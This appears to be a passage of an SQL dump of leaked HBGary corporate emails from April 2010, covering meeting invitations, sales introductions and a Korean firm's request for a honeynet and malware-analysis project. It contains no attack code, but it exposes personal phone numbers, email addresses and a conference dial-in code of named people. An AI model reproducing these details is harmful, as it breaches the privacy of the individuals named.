<aaron@hbgary.com>','RE: 4x24 Conference Call with Aaron Barr of HB Gary (Group 11)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAwesome, that should be fun\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 06, 2010 10:01 AM\r\nTo: Penny Leavy\r\nSubject: Fwd: 4x24 Conference Call with Aaron Barr of HB Gary (Group 11)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nJennifer\r\nJordan-Harrell &lt;jennifer@executivebiz.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nApril\r\n5, 2010 11:23:02 AM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;, JD Kathuria &lt;jd@executivebiz.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\n4x24 Conference Call with Aaron Barr of HB Gary (Group 11)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen:\r\nTuesday, April 13, 2010 11:30 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp;\r\nCanada).\r\n\r\n\r\n\r\n\r\n\r\nWhere:\r\nDial In info - 800 760 3309: Code 74491765\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNote:\r\nThe GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, April 13, 2010\r\n11:30 AM- 12:00 PM Eastern Time (US &amp; Canada).\r\n\r\n\r\n\r\n\r\n\r\nWhere: 800 760 3309: Code\r\n74491765\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nSo\r\nglad we were able get you set up for the conference call.&nbsp; You&#8217;ll be\r\nspeaking with myself and our co-founder, JD Kathuria about our invite only,\r\nexecutive 4 x 24 Group focused on cyber.&nbsp; Recruiting for the Cyber Group\r\nstarted on March 1st and we are very pleased with the rate at which it is\r\nramping up. For your review, I&#8217;ve included the list of members already signed\r\non. Aside from those members, we have a verbal commitment from ITT but are\r\nwaiting for them to identify the person they want participating.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCurrent:\r\n\r\n\r\n\r\n\r\n\r\n1. Bill\r\nPhelps, Accenture\r\n\r\n\r\n\r\n\r\n\r\n2. Skip\r\nFoote, American Systems\r\n\r\n\r\n\r\n\r\n\r\n3. Jeff\r\nBerkin, CACI\r\n\r\n\r\n\r\n\r\n\r\n4. Vince\r\nPratuch, Cisco Systems\r\n\r\n\r\n\r\n\r\n\r\n5. JR\r\nReagan, Deloitte Services, LP\r\n\r\n\r\n\r\n\r\n\r\n6.\r\nSamuel Chun, HP\r\n\r\n\r\n\r\n\r\n\r\n7.\r\nCharles Palmer, IBM\r\n\r\n\r\n\r\n\r\n\r\n8. Dusty\r\nWince, KnowledgeCG\r\n\r\n\r\n\r\n\r\n\r\n9. Bill\r\nVarner, ManTech Int&#8217;l. (Chairman)\r\n\r\n\r\n\r\n\r\n\r\n10.\r\nScott Miller, Microsoft\r\n\r\n\r\n\r\n\r\n\r\n11. Gary\r\nGagnon, MITRE\r\n\r\n\r\n\r\n\r\n\r\n12.\r\nShawn Carroll, Qwest\r\n\r\n\r\n\r\n\r\n\r\n13.\r\nLarry Cox, SAIC\r\n\r\n\r\n\r\n\r\n\r\n14. Mike\r\nFraser, USIS\r\n\r\n\r\n\r\n\r\n\r\n15. TBD,\r\nITT \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPLEASE\r\nNOTE: \r\n\r\n\r\n\r\n\r\n\r\n*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe Conference Call dial-in number and participant code are listed above\r\n\r\n\r\n\r\n\r\n\r\n*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If\r\nyou need to make any changes or have any questions, please call me @\r\n703-226-7016 or send an email to jennifer@executivebiz.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe morning of the call I&#8217;ll send out a Go To Meeting link for the visual\r\naspect of our call.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\ncheck out our emagazine at www.executivebiz.com\r\nwhere you\'ll find out about all the latest happenings in the government\r\ncontracting arena.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSincerely,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJennifer\r\nJordan-Harrell\r\n\r\n\r\n\r\n\r\n\r\nGroup\r\nManager\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nExecutiveBiz\r\n\r\n\r\n\r\n\r\n\r\n703-226-7016\r\n\r\n\r\n\r\n\r\n\r\njennifer@executivebiz.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5823,'aaron_hbgary_com/5823.html'),(4985,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003189.M329678P3547Q4986.eml','\"Lachow, Irving\" <LachowI@ndu.edu>,\"Lachow, Irving\" <LachowI@ndu.edu>,','Re: Thursday dinner','Irving,Are you still planning on attending the Palantir conference tomorrow? &nbsp;HBGary will have a booth, so please stop by.AaronOn Mar 19, 2010, at 6:11 PM, Lachow, Irving wrote:Thanks Penny.&nbsp; I appreciate the introduction and really appreciate the DDNA license.&nbsp; Before y’all send that along, let me connect Jim with our lab people and so they can work this out directly.&nbsp; They need to work the legal process carefully&nbsp; and also assess where this would fit into the lab’s current configuration.&nbsp;Aaron, got your VM.&nbsp; Thanks for calling.&nbsp; The next week is crazy.&nbsp; Are you going to the Palantir event on the 7th?&nbsp;Cheers,Irv&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 19, 2010 2:11 PMTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netCc:&nbsp;\'Jim Richards\'; \'Aaron Barr\'Subject:&nbsp;RE: Thursday dinner&nbsp;Irving,&nbsp;It was great to finally meet you too.&nbsp;&nbsp; I’ll let you know when I’m out in DC.&nbsp;&nbsp; I’ll forward info to Greg.&nbsp; That done, let me introduce you to Aaron Barr, CEO of HBGary Federal and Jim Richards, Global Training.&nbsp;Aaron, meet Irving Lachow, Ray Owen and Nathan Atherley.&nbsp; Irving is spearheading the development effort which we will be participating with Ray and Nathan.&nbsp; I know we’ve tried to get with Ray when he’s out in DC, but feel free to contact Irving directly.&nbsp; He can be reached at 202-903-7722 (mobile)&nbsp; Ray can be reached at 650-464-5570&nbsp;Jim, please send Irving Responder Pro with DDNA license for one year and Field Edition for his training room.&nbsp; Irving is at National Defense University.&nbsp; Irving, the Responder Pro/DDNA is the instructor license.&nbsp; Responder Field Edition has a malware analysis module and forensic module.&nbsp; How many copies do you need for workstations?&nbsp; We’ll also send you our training and some flip books that allow students to have a take away.&nbsp;&nbsp;300 5th&nbsp;Avenue Bldg 62Marshall Hall Room 183HFort Lesley J. McNairWashington, DC 20319-5066&nbsp;TTYSPenny&nbsp;From:&nbsp;Lachow, Irving [mailto:LachowI@ndu.edu]&nbsp;Sent:&nbsp;Friday, March 19, 2010 8:25 AMTo:&nbsp;Penny Leavy-Hoglund;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;RE: Thursday dinner&nbsp;Hi there.&nbsp; Just wanted to thank you all for a very enjoyable dinner.&nbsp; It was great company and I enjoyed learning more about HB Gary.&nbsp;Penny, let me know if you want POCs at Triumfant.&nbsp; Greg seemed interested in learning more about them.&nbsp; Speaking of Greg, please forward this to him.&nbsp; When you have a moment, can you connect me with your Federal team?&nbsp; Finally, there is the link to the Palantir event in April:&nbsp;http://palantirtech.eventbrite.com/.&nbsp; I got the date wrong, it is April 7th&nbsp;not 5th.&nbsp;Regards,Irv&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 12:56 PMTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;RE: Thursday dinner&nbsp;OK, sounds good&nbsp;From:&nbsp;Lachow, Irving [mailto:LachowI@ndu.edu]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 7:01 AMTo:&nbsp;nathan.atherley@gmail.com;&nbsp;penny@hbgary.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;Re: Thursday dinner&nbsp;Nate, sorry about that. I hope you can join us soon. I don\'t have to leave for a SFO until 8 or so.&nbsp;_____________________&nbsp;Sent from my Blackberry.&nbsp;From: Nathan Atherley &lt;nathan.atherley@gmail.com&gt;&nbsp;To: Penny C. Hoglund &lt;penny@hbgary.com&gt;; Lachow, Irving; Ray Owen &lt;ray.owen@comcast.net&gt;&nbsp;Sent: Thu Mar 18 07:55:30 2010Subject: Thursday dinnerRay, Irv, Penny&nbsp;Just to close the loop from my end.&nbsp; I talked to Ray last night and I believe Irv has got to catch a red eye tonight.&nbsp; So lets go back to the 6PM dinner time.&nbsp; I will be there as soon as possible.&nbsp;Thanks&nbsp;nathan&nbsp;Spalti\'s restaurant417 S. California AvePalo Alto, CA650-327-9390&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10542,'aaron_hbgary_com/10542.html'),(4986,'2010-04-06','\"Lisa Jones\" <Lisa.S.Jones@ngc.com>','/aaron@hbgary.com/new/1297003189.M518950P3547Q4987.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Lisa Jones has indicated you are a Colleague at Northrop Grumman Corporation:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.  I miss you!!!\r\n- Lisa Jones\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Lisa Jones\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n  WHY MIGHT CONNECTING WITH LISA JONES BE A GOOD IDEA?\r\n  Have a question? Lisa Jones\'s network will probably have an answer You can use LinkedIn Answers to distribute your professional questions to Lisa Jones and your extended network. You can get high-quality answers from experienced professionals.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',1655,'aaron_hbgary_com/1655.html'),(4987,'2010-04-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003189.M750196P3547Q4988.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: [Softwide] Deal and SI project requesting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDid Maria send this to you?&nbsp; Should we bid this?&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jason Lee\r\n[mailto:jason@softwidesec.com] \r\nSent: Monday, April 05, 2010 4:03 AM\r\nTo: \'Maria Lucas\'\r\nCc: sales@hbgary.com; bob@hbgary.com\r\nSubject: RE: [Softwide] Deal and SI project requesting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi.. Maria.. \r\n\r\n&nbsp;\r\n\r\nThanks for your reply\r\nand sorry about my late response because I have been busy during days. \r\n\r\nI had been met many\r\ncustomers in Korea and some from Government Agency, some from Security SI and\r\nsome from commercial market. \r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nglad to hear that you and your team interesting about what project to build. \r\n\r\n&nbsp;\r\n\r\nI wish to hear you the\r\nanswer to share this project today. \r\n\r\n&nbsp;\r\n\r\nAs I mentioned that we\r\nneed a partner who have done or have many experience to do this kind of project\r\nand as I told you that I&#8217;m pretty sure that you and your\r\nteam already had done and have good reputation in Market. \r\n\r\n&nbsp;\r\n\r\nThere is no requirement\r\ndocumentation yet, as I told you that we have to prepare that document but we\r\nare running out of time since the RFP should be done middle of this week. \r\n\r\n&nbsp;\r\n\r\nThere is a minimum\r\nrequirement from customer as below:\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe Cyber Threat Analysis team want to build any sort of field\r\nto collect traffic or packet or activities and files from net and I expected\r\nthat it will be a honey net or capture the whole traffic from net transaction. \r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe Cyber Threat Analysis team want to pick any sort of\r\nmalicious activities, files and packet from that captured traffic or Honey-net.\r\n\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey want to analyze the packets, files, activities and traffic\r\nto find or aim that this is real malicious things from net. \r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;\r\nTo analysis those traffic, packets, files and activities, they\r\nmight need your solutions, and even your experience; how to analysis those\r\nmalicious things effectively.\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;\r\nFrom the earned information to picked and aimed, they want to\r\nsystemize the processes to collect, analyze and categorize malicious activities\r\nand so on.. \r\n\r\n&nbsp;\r\n\r\nThose are the minimum\r\nrequirement from customer and actually, I just have a concept to build;\r\nhowever, I don&#8217;t have experience build in real. \r\n\r\nThat is the reason why\r\nI need you and your team Maria. \r\n\r\n&nbsp;\r\n\r\nAs I requested before,\r\nI wish to get answer for what I asked you last time. \r\n\r\nAlso, I wish to get\r\nyour suggestion to hand over requirement to do this project, anything to help\r\nto keep this project is ours. \r\n\r\nAnd if you can, please\r\nbriefly let us know how you can do this. \r\n\r\n&nbsp;\r\n\r\nI wish get your answer\r\nfor this today, if possible. \r\n\r\n&nbsp;\r\n\r\nAs I mentioned above,\r\nit is running out of time and we just have one or two day to hold to fix the\r\nRFP from customer. \r\n\r\nIf you can help us,\r\nyour guide and requirement become customer&#8217;s demand and we\r\ncan get the project to drive. \r\n\r\n&nbsp;\r\n\r\nPlease answer me today\r\nthrough email and call. \r\n\r\n&nbsp;\r\n\r\nI will wait for your\r\nanswer both communication way. \r\n\r\n&nbsp;\r\n\r\nHave a good day.. and\r\nbe well.. \r\n\r\n&nbsp;\r\n\r\nBest regards \r\n\r\n&nbsp;\r\n\r\nJason &nbsp;\r\n\r\n&nbsp;\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, April 01, 2010 4:16 AM\r\nTo: Jason Lee\r\nCc: sales@hbgary.com; bob@hbgary.com\r\nSubject: Re: [Softwide] Deal and SI project requesting\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHello Jason\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am going to refer your questions to Phil Wallisch -- a\r\nlead security engineer at HBGary.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPhil is currently on vacation but will be available next\r\nweek to respond to your request --&nbsp;this sounds very interesting.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you have a requirements document that you can send to us\r\nfor review?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Mar 31, 2010 at 9:04 AM, Jason Lee &lt;jason@softwidesec.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi..\r\n\r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nJason Lee from Softwide Security. \r\n\r\n&nbsp;\r\n\r\nIt\r\nis first time contact you, but I wish that you can help us to support our\r\nproject and deal. \r\n\r\n&nbsp;\r\n\r\nHere\r\nI have something to discuss and get an answer for your support. \r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nOur biggest customer want to have a project to build a honey net to\r\ncapture traffic to collect and analyze malicious packet, file, attack &#8230;\r\n\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;\r\nFor this project, I believe they might need to purchase your product to\r\nanalyze captured traffic, files and activities. \r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey also want to build a honey-net with professional people who have\r\ndone this before. \r\n\r\n&nbsp;\r\n\r\nI\r\nbelieve that you might interesting about this project since your CTO have done\r\nmany reverse, analyzing work for Malicious file and other. \r\n\r\n&nbsp;\r\n\r\nI\r\nwould like to hear from you:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nDo you and your team want to do this project with us?\r\n\r\nA.&nbsp;&nbsp;&nbsp;&nbsp;\r\nActually, I wish you take this case to do this project since it is a\r\nreally good chance to have a good relationship with most biggest Korean\r\nCustomer.\r\n\r\nB.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI believe that you and your team already have done this kind of project\r\nfor your government there. \r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;\r\nIf you can want to do this project, can you estimate the size of project\r\ncost and how long does it take and how many of you and your team come to Korea?\r\n\r\nA.&nbsp;&nbsp;&nbsp;&nbsp;\r\nYou can put the period as you really need to put\r\n\r\nB.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYou should estimate the number of people what who can support to finish\r\nthis project\r\n\r\nC.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYou have to give us the exact cost for whole project including\r\naccommodation in Korea.\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;\r\nIf possible, I wish to talk through phone line to discuss about this\r\nproject. \r\n\r\nA.&nbsp;&nbsp;&nbsp;&nbsp;\r\nI called your represent phone number this morning, but no one get answer\r\n;(, please..\r\n\r\n&nbsp;\r\n\r\nThere\r\nis a good news that we can create RFP for this project then, feel free to tell\r\nme what necessary things that I have to put for this project.\r\n\r\n&nbsp;\r\n\r\nI\r\nwish to hear from you ASAP.\r\n\r\n&nbsp;\r\n\r\nHave\r\na good day.. and be well.. \r\n\r\n&nbsp;\r\n\r\nBest\r\nregards \r\n\r\n&nbsp;\r\n\r\nJason\r\n&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJason Lee\r\n\r\nC.T.O. / Senior Consultant \r\n\r\n\r\n\r\nSoftwide Security, Inc.\r\n\r\n5th LV, HakDong Building\r\n\r\n81-5, NonHyund-Dong, \r\n\r\nGanNam-Gu, SEOUL\r\n\r\nRepublic of Korea\r\n\r\nZIP 135-010\r\n\r\nMobile: +82 17 659 1906\r\n\r\nOffice: + 82 2 6052 5700\r\n\r\nFax: + 82 3665 3519\r\n\r\nIM: jaisonyi@hotmail.com(MSN, NATE, SkyPE)\r\n\r\nAlter E-mail: jaisonyi@gmail.com \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11211,'aaron_hbgary_com/11211.html'),(4988,'2010-04-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003189.M78283P3547Q4985.eml','\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','I\'d LIke you to Meet','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Matt,\r\n\r\n&nbsp;\r\n\r\nAaron Barr is the CEO of HBGary Federal.&nbsp; I mentioned him\r\nwhen Rich and I were there last week.&nbsp; I think you two should get together and\r\ndiscuss possible joint opp&#8217;s.&nbsp; Aaron came from TASC and we are talking to\r\nmany of the same people\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1993,'aaron_hbgary_com/1993.html'),(4989,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003189.M968275P3547Q4989.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: [Softwide] Deal and SI project requesting','No I haven\'t seen this before. &nbsp;Too many questions. &nbsp;Give me a call when you get a chance.First, who is the customer?The way the email reads they want something more like a Netwitness/Niksun/Fidelis capability for packet/network capture. &nbsp;Why are they coming to HBGary?They want more than just buying a commercial product, that is the only part that worries me a bit. &nbsp;Buying some COTS, great, no problem. &nbsp;Custom develop a capability for a South Korean companies biggest customer, in my mind that requires more questions and potentially contacting someone in government (NSA) to see if they have information on the company. &nbsp;Couldn\'t hurt to answer their questions I guess to get the ball rolling while you sort it out though.AaronOn Apr 6, 2010, at 2:55 PM, Penny Leavy-Hoglund wrote:Did Maria send this to you?&nbsp; Should we bid this?&nbsp;&nbsp;From:&nbsp;Jason Lee [mailto:jason@softwidesec.com]&nbsp;Sent:&nbsp;Monday, April 05, 2010 4:03 AMTo:&nbsp;\'Maria Lucas\'Cc:&nbsp;sales@hbgary.com;&nbsp;bob@hbgary.comSubject:&nbsp;RE: [Softwide] Deal and SI project requesting&nbsp;Hi.. Maria..&nbsp;Thanks for your reply and sorry about my late response because I have been busy during days.I had been met many customers in Korea and some from Government Agency, some from Security SI and some from commercial market.&nbsp;I’m glad to hear that you and your team interesting about what project to build.&nbsp;I wish to hear you the answer to share this project today.&nbsp;As I mentioned that we need a partner who have done or have many experience to do this kind of project and as I told you that I’m pretty sure that you and your team already had done and have good reputation in Market.&nbsp;There is no requirement documentation yet, as I told you that we have to prepare that document but we are running out of time since the RFP should be done middle of this week.&nbsp;There is a minimum requirement from customer as below:&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The Cyber Threat Analysis team want to build any sort of field to collect traffic or packet or activities and files from net and I expected that it will be a honey net or capture the whole traffic from net transaction.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The Cyber Threat Analysis team want to pick any sort of malicious activities, files and packet from that captured traffic or Honey-net.3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;They want to analyze the packets, files, activities and traffic to find or aim that this is real malicious things from net.4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;To analysis those traffic, packets, files and activities, they might need your solutions, and even your experience; how to analysis those malicious things effectively.5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;From the earned information to picked and aimed, they want to systemize the processes to collect, analyze and categorize malicious activities and so on..&nbsp;Those are the minimum requirement from customer and actually, I just have a concept to build; however, I don’t have experience build in real.That is the reason why I need you and your team Maria.&nbsp;As I requested before, I wish to get answer for what I asked you last time.Also, I wish to get your suggestion to hand over requirement to do this project, anything to help to keep this project is ours.And if you can, please briefly let us know how you can do this.&nbsp;I wish get your answer for this today, if possible.&nbsp;As I mentioned above, it is running out of time and we just have one or two day to hold to fix the RFP from customer.If you can help us, your guide and requirement become customer’s demand and we can get the project to drive.&nbsp;Please answer me today through email and call.&nbsp;I will wait for your answer both communication way.&nbsp;Have a good day.. and be well..&nbsp;Best regards&nbsp;Jason &nbsp;&nbsp;From:&nbsp;Maria Lucas [mailto:maria@hbgary.com]&nbsp;Sent:&nbsp;Thursday, April 01, 2010 4:16 AMTo:&nbsp;Jason LeeCc:&nbsp;sales@hbgary.com;&nbsp;bob@hbgary.comSubject:&nbsp;Re: [Softwide] Deal and SI project requesting&nbsp;Hello Jason&nbsp;I am going to refer your questions to Phil Wallisch -- a lead security engineer at HBGary.&nbsp;Phil is currently on vacation but will be available next week to respond to your request --&nbsp;this sounds very interesting.&nbsp;Do you have a requirements document that you can send to us for review?&nbsp;Maria&nbsp;On Wed, Mar 31, 2010 at 9:04 AM, Jason Lee &lt;jason@softwidesec.com&gt; wrote:Hi..&nbsp;I’m Jason Lee from Softwide Security.&nbsp;It is first time contact you, but I wish that you can help us to support our project and deal.&nbsp;Here I have something to discuss and get an answer for your support.&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Our biggest customer want to have a project to build a honey net to capture traffic to collect and analyze malicious packet, file, attack&nbsp;…2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For this project, I believe they might need to purchase your product to analyze captured traffic, files and activities.3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;They also want to build a honey-net with professional people who have done this before.&nbsp;I believe that you might interesting about this project since your CTO have done many reverse, analyzing work for Malicious file and other.&nbsp;I would like to hear from you:1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Do you and your team want to do this project with us?A.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Actually, I wish you take this case to do this project since it is a really good chance to have a good relationship with most biggest Korean Customer.B.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I believe that you and your team already have done this kind of project for your government there.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If you can want to do this project, can you estimate the size of project cost and how long does it take and how many of you and your team come to Korea?A.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You can put the period as you really need to putB.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You should estimate the number of people what who can support to finish this projectC.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You have to give us the exact cost for whole project including accommodation in Korea.3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If possible, I wish to talk through phone line to discuss about this project.A.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I called your represent phone number this morning, but no one get answer ;(, please..&nbsp;There is a good news that we can create RFP for this project then, feel free to tell me what necessary things that I have to put for this project.&nbsp;I wish to hear from you ASAP.&nbsp;Have a good day.. and be well..&nbsp;Best regards&nbsp;Jason &nbsp;&nbsp;&nbsp;&nbsp;Jason LeeC.T.O. / Senior ConsultantSoftwide Security, Inc.5th&nbsp;LV, HakDong Building81-5, NonHyund-Dong,GanNam-Gu, SEOULRepublic of KoreaZIP 135-010Mobile: +82 17 659 1906Office: + 82 2 6052 5700Fax: + 82 3665 3519IM:&nbsp;jaisonyi@hotmail.com(MSN, NATE, SkyPE)Alter E-mail:&nbsp;jaisonyi@gmail.com&nbsp;--&nbsp;Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com&nbsp;|email:&nbsp;maria@hbgary.com&nbsp;http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16096,'aaron_hbgary_com/16096.html'),(4990,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003190.M169853P3547Q4990.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: [Softwide] Deal and SI project requesting','From my iPhoneBegin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: April 6, 2010 2:55:25 